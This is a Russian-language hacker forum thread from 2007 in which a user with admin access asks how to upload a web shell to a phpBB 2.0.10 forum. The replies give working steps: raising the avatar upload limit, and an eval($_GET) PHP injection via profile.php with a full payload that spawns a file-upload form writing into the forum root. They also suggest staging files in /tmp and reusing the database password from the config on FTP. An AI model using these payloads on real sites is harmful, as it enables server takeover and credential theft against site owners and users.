Заливка шелла в phpBB 2.0.10

Discussion in 'Песочница' started by SSSetuPPP, 15 Mar 2007.

  1. SSSetuPPP

    SSSetuPPP Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    55
    Likes Received:
    4
    Reputations:
    0
    Форум - phpBB 2.0.10
    Есть доступ к админке.
    Не получается залить шелл ни через уязвимость highlight, ни через стили, ни через профайл, ни через заливку sql (восстановление БД).
    Попробовал через загрузку аватары - пишет, что максимальный размер 9 кб. Такая же история (про аватару) через багу ShanKaR'а.:(
    Посоветуйте что-нибудь, plizzzzzzzz !!!

    Ща поковырялся и получилось c помощью видео ShAnKaR'а вставить в профиль функию phpinfo().
    А bandera объяснял о функции - a:include($_GET[w])
    Я делал всё так и ничего не происходит.:(
    Почему?
     
    #1 SSSetuPPP, 15 Mar 2007
    Last edited by a moderator: 15 Mar 2007
  2. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    мм а с аватарой проблему не решить путем увеличения лимита загружаемого файла? или о_0 это в админке не редактируется?

    мм хотя мб там фильтрация стоит, но все же проверь..
     
    #2 n1†R0x, 15 Mar 2007
    Last edited: 15 Mar 2007
    1 person likes this.
  3. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    а что 9Кб это разве много по сути? ;)
     
  4. †Nood1e†

    †Nood1e† Elder - Старейшина

    Joined:
    3 Oct 2006
    Messages:
    81
    Likes Received:
    32
    Reputations:
    -3
    увеличь размер загрузки аватарки через админку и загруси туды шелл!
     
  5. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    немного)
    но раз у ТСа не вышло, значит у него шелл >9kb :logika: :D
     
  6. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    ну инклуде http не всегда работает в силу нескоьких причин , поэтому чтобы проверить что происходит ли вобще php injection тестим на phpinfo() например, а вобще можно и без include обойтись, например с помощью eval($_GET[q]):

    http://forum.com/profile.php?q=print($_GET[t]);if(isset($_POST[go_up])){if(is_uploaded_file($_FILES[userfile][tmp_name])){@co py($_FILES[userfile][tmp_name],$_FILES[userfile][name]);}};exit;&t=<form enctype=multipart/form-data method=post><input name=userfile type=file><input type=submit name=go_up></form>
    :)
     
    #6 ShAnKaR, 15 Mar 2007
    Last edited by a moderator: 15 Mar 2007
  7. SSSetuPPP

    SSSetuPPP Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    55
    Likes Received:
    4
    Reputations:
    0
    Ответ...

    Вот, что получается:

    Я новичок, и не совсем понимаю.... Объясни пожалуйста пошагово....

    Увеличил я размер загружаемой аватары и сделал как описывал k1b0rg в статье:
    И всё равно ничего не вышло...:(

    Пишет:
    , хотя я и переименовывал в jpg, gif.
     
    #7 SSSetuPPP, 16 Mar 2007
    Last edited by a moderator: 16 Mar 2007
  8. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    фигню пишешь дружище :) ты сам то пробовал только на своем компе небось?

    меня слушай автор топика
     
    1 person likes this.
  9. SSSetuPPP

    SSSetuPPP Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    55
    Likes Received:
    4
    Reputations:
    0
    Не понял...

    ShAnKaR, объясни пожалуйста пошагово...
     
  10. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    кароче
    вот вместо a:include($_GET[w])
    ставишь a:eval($_GET[w])
    потом идешь как и в случае с include по адресу
    /profile.php?mode=editprofile&w=print($_GET[t]);if(isset($_POST[go_up])){if(is_uploaded_file($_FILES[userfile][tmp_name])){@co py($_FILES[userfile][tmp_name],$_FILES[userfile][name]);}};exit;&t=<form enctype=multipart/form-data method=post><input name=userfile type=file><input type=submit name=go_up></form>
    если все ok появляется формочка для заливки файла , и тут уже можешь залить все что надо, залитое сохраняется в корневой папке форума в данном случае, это самый простой способ я думаю , но можно например воспользоватся другими функциями php например fopen,fwrite и тп для создания файла.
    можно так же если не получится залить файл в папку с форумом залить в /tmp, а потом проинклудить его из /tmp.
    если вобще ни куда не получится залить, можно посмотреть конфиг форума с пасом от бд и попробовать пасы на ftp например.